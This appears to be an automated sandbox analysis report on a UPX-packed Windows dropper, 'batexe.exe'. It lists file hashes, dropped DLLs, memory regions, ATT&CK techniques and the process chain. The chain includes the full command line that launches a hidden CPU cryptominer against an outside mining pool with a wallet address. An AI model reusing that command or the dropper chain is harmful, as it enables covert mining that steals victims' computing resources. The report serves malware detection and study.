73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
295s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
22-02-2024 01:58

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2316	b2e.exe
4480	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4480	cpuminer-sse2.exe
4480	cpuminer-sse2.exe
4480	cpuminer-sse2.exe
4480	cpuminer-sse2.exe
4480	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4856-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4856 wrote to memory of 2316	4856	batexe.exe	75
PID 4856 wrote to memory of 2316	4856	batexe.exe	75
PID 4856 wrote to memory of 2316	4856	batexe.exe	75
PID 2316 wrote to memory of 2572	2316	b2e.exe	76
PID 2316 wrote to memory of 2572	2316	b2e.exe	76
PID 2316 wrote to memory of 2572	2316	b2e.exe	76
PID 2572 wrote to memory of 4480	2572	cmd.exe	79
PID 2572 wrote to memory of 4480	2572	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4856
- C:\Users\Admin\AppData\Local\Temp\B9F9.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B9F9.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B9F9.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BC2C.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2572
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B9F9.tmp\b2e.exe

Filesize
10.7MB

MD5
312574f33f84b5dd65195b3a761691c5

SHA1
7de40b1fbbc116a7108ca30d21b85ddbba1985e5

SHA256
c6ab6bf8dade4764f36eaf863c7eed90a40874f1cd02e295233636692e925bab

SHA512
b9d4685ede48a64bffa30be67ff325402da5c4bf6e6742bcc3f1a8cf5bb40598aa51765c64ab18de2368591f96fe8ddaf48a6d512d1128f3809d57e70918fb8e

Download Submit
C:\Users\Admin\AppData\Local\Temp\B9F9.tmp\b2e.exe

Filesize
13.7MB

MD5
bdc7e8ee6e601b04e81719b8d415be03

SHA1
90c5f825c7cb4518f8583c74f4d4775d54486fcf

SHA256
dad2b0e72c86b3f254a76232f17a3102fd8c9768a37d2472eb129f27c785fd23

SHA512
357091e2c54ccf1addfb69c67b0648378f342b869f0b71fbf9f1de7ae65115fa5a2a678d2011eef57455d3fba6eed8f31a1799989d6a744321be2cfa1a00d24f

Download Submit
C:\Users\Admin\AppData\Local\Temp\BC2C.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
320KB

MD5
59d36bdd941feb6c770ec68a37e8c21b

SHA1
1191d1e478164cd720974ea1ad2bc248999a8d45

SHA256
d5227dca74d9be12116b359c9d61265b102c0986eb6196e269cc3e3b895c0293

SHA512
b1620dd0763f2f7c263ae69c71eba7cba29d89f1bb551356abb7073e4e7013347345c43f2bad3c4733300c5b98feecf2fd91db2a363c9e5dcdd87f170edbe406

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
256KB

MD5
11e8812bfa1d698cdeb73a16c1d7c963

SHA1
e8708fd452ab5946b380d0c353ac26acf289e548

SHA256
e0f9ddf8afd30511763f0cf792369e32c955f15d9529c00c5fe9298a80d74402

SHA512
fd54c9c6f3520b2ced6b42235ebfce6d8b622c53f1fbf810baace657a7d44430968b5ff90cd1d860dbdf7550dd8cd467636c862ff0dd0832f25145efccc7731e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
256KB

MD5
1d86b9560854472453237bcbaa2e253f

SHA1
5a03a7902d250377a3e9f746badcb696e2c98228

SHA256
1493703a430c68bdcedcb4078486daca39a02820199e7b72017c7b1af66e1c8d

SHA512
afbc3d7f8e06e41db25d666999f4d162af7054a66b17a651ac8a7f092f83580a067bfa2f558be65ace5966dffaa8735fe7a579e88bf42b34eaa3e72cdec96699

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
14KB

MD5
57bc28e77ba7f02252d5d1c6ebeb7e33

SHA1
03d31966e052d14ff5f92d69ceacf8fc886e003c

SHA256
094b3dcb3308d87ee8c065d27dc1e0ee818c68d37312bdbc03af9c88f20914aa

SHA512
c11bdf493da9bac705cf4d31330ad4bfe2e93c5aa6c0812c47906645e441981880cd651ab20b53e0e9770053d8e3b5a7acdd515ec74f6e16a8c2cdccf49229d4

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
128KB

MD5
0cfc533c46d2f160fc8d8483706228cf

SHA1
0d13ced09eeed5fc3879f418bda0410a742ab6a1

SHA256
510a6af4547083718b32dc00d4711cfff2aec0e7b936d4199feaaf32a7d5d3a6

SHA512
11e35867688e7814881981298b6f6948fceaf254d154f5429e5a82c43397b1894bd35fe7fb586b26e4272d8371c3b8e96c20c71ab05b9df3e851291444702a79

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
256KB

MD5
f8edb8dd2fb15f1887ace09587589dd4

SHA1
cbf7cbfefc0215d9500a98d9064deb9e86787152

SHA256
0465270288d69a0ec9beb7114707bed76756c14148293237d0d35423abdfc67b

SHA512
aa993112953225280c0bedb1ebd8288298b9c22a6a884a952ba60e48cbd21c4ce60724b7adc961a0528d7c569596e3420fec2670fc47c3eb6c00c691e0378abc

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.0MB

MD5
885b85b4ed4d55d70444ad8d60d8618d

SHA1
c4f12a78a7a86404618ed691d764084020d0e3ed

SHA256
4c079b1bbff7f200e531c8e59c537ae45dea40464e5a243ab978f48fb87172c1

SHA512
2c343502b1d81e189f854a0e28c700bf115f7132f36b2c1e4d077f9d1db840c5097b368785e07b4e69b44cdeeb5015ab4a5475ba68c59102e5b7f5f907b02a4d

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.6MB

MD5
ff51acce5cf40cc72a1db7b756dff910

SHA1
36029ee9a3f822bde95f012f8d89aa220e451e62

SHA256
0689c1e560b4ea0176d0cf2fd46db621efc02e974b3cd105bd6875587eff2e7d

SHA512
68e4c16f36aa820a1d0c9e80f8913cf8a2ed328bca4ecaf1d023da83c4090cf5ee5d80c47578975a69e0ba9878abc53951b82b988c7e8482af132f97961075f5

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2316-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2316-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4480-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4480-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-43-0x0000000060AA0000-0x0000000060B38000-memory.dmp

Filesize
608KB

Download
memory/4480-44-0x0000000001080000-0x0000000002935000-memory.dmp

Filesize
24.7MB

Download
memory/4480-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4480-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4480-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4856-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download